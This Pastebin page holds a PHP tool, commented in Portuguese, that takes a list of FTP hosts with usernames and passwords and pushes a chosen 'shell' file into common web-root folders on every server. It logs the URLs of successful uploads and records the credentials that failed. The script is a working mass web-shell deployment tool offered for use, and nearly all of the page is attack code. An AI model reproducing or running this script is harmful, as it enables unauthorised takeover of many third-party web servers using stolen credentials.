Advertisement
andre11

phpftpmassacess

May 19th, 2014
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.83 KB | None | 0 0
  1. <?php
  2. /* Mass FTP Upload File by DRC - 2013
  3. Uso: Mass.php?lista=lista.txt&shell=shell.php
  4. Entrada: lista.txt = Lista de FTPs (ftp.server.com:user pass)
  5. shell.php = Shell que será upada ou arquivo qualquer.
  6. Saida: ListaFalhas.txt = Lista de FTPs que não foi achado a pasta pública, onde terá de upar na mão...
  7. ListaSucesso.txt = Lista de FTPs que teve a shell upada com sucesso.
  8. Sintaxe lista: 127.0.0.1:user1 1234 */
  9. ?>
  10. <html><head><title>Mass FTP Upload File :: By DRC</title>
  11. </head><body bgcolor="black">
  12. <?php
  13. error_reporting(0);
  14. set_time_limit(0);
  15. ob_implicit_flush(1);
  16.  
  17. if (isset($_GET["lista"])) {
  18. if (isset($_GET["shell"])) {
  19.  
  20. $file = $_GET["lista"];
  21. $shell = $_GET["shell"];
  22.  
  23. $fpList = fopen($file, "r");
  24. $fp = fopen($shell, "r");
  25.  
  26. $curl = curl_init(); $cont = 1;
  27. if ($curl) {
  28. while(!feof($fpList)) {
  29. ob_start("compress");
  30. $cPalavra = fgets($fpList);
  31.  
  32. $parse = explode(":", $cPalavra);
  33. $server = $parse[0];
  34. $parse = $parse[1];
  35. $parse = explode(" ", $parse);
  36. $user = $parse[0];
  37. $pass = $parse[1];
  38. $pass = substr($pass, 0, -2);
  39.  
  40. for ($a=0; $a!=7; $a++) {
  41. if ($a == 0) $dir_up = "httpdocs";
  42. else if ($a == 1) $dir_up = "web";
  43. else if ($a == 2) $dir_up = "html";
  44. else if ($a == 3) $dir_up = "home";
  45. else if ($a == 4) $dir_up = "www";
  46. else if ($a == 5) $dir_up = "public_html";
  47. else if ($a == 6) $dir_up = "htdocs";
  48.  
  49. $endereco = "ftp://" . $user . ":" . $pass . "@" . $server . "/" . $dir_up . "/" . $shell;
  50.  
  51. curl_setopt($curl, CURLOPT_URL, $endereco);
  52. curl_setopt($curl, CURLOPT_UPLOAD, 1);
  53. curl_setopt($curl, CURLOPT_INFILE, $fp);
  54. curl_setopt($curl, CURLOPT_INFILESIZE, filesize($shell));
  55. curl_exec ($curl);
  56.  
  57. $erro = curl_errno($curl);
  58.  
  59. if ($erro == 0) {
  60. echo '<font style="color: green;"><b> <font style="color: blue;">'. $cont .'</font> : FTP : '. $endereco . ' --> Arquivo enviado com sucesso.</b></font><br>'; ob_flush();
  61. $logFE = fopen("ListaSucesso.txt", "a+");
  62. if ($logFE) {
  63. fwrite($logFE, "http://" . $server . "/" . $shell . "\n");
  64. fclose($logFE);
  65. }
  66. } else {
  67. echo '<font style="color: red;"> <font style="color: blue;">'. $cont .'</font> : FTP : '. $endereco . ' --> Erro ao fazer upload do arquivo.</font><br>'; ob_flush();
  68. $logFS = fopen("ListaFalhas.txt", "a+");
  69. if ($logFS) {
  70. fwrite($logFS, "ftp://" . $user . ":" . $pass . "@" . $server . "/\n");
  71. fclose($logFS);
  72. }
  73. }
  74. $cont++;
  75. }
  76. }
  77. fclose($fpList);
  78. curl_close ($curl);
  79.  
  80. }
  81.  
  82. } else { echo "Uso: Mass.php?lista=lista.txt&shell=shell.php"; }
  83. } else { echo "Uso: Mass.php?lista=lista.txt&shell=shell.php"; }
  84.  
  85. ?>
  86. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement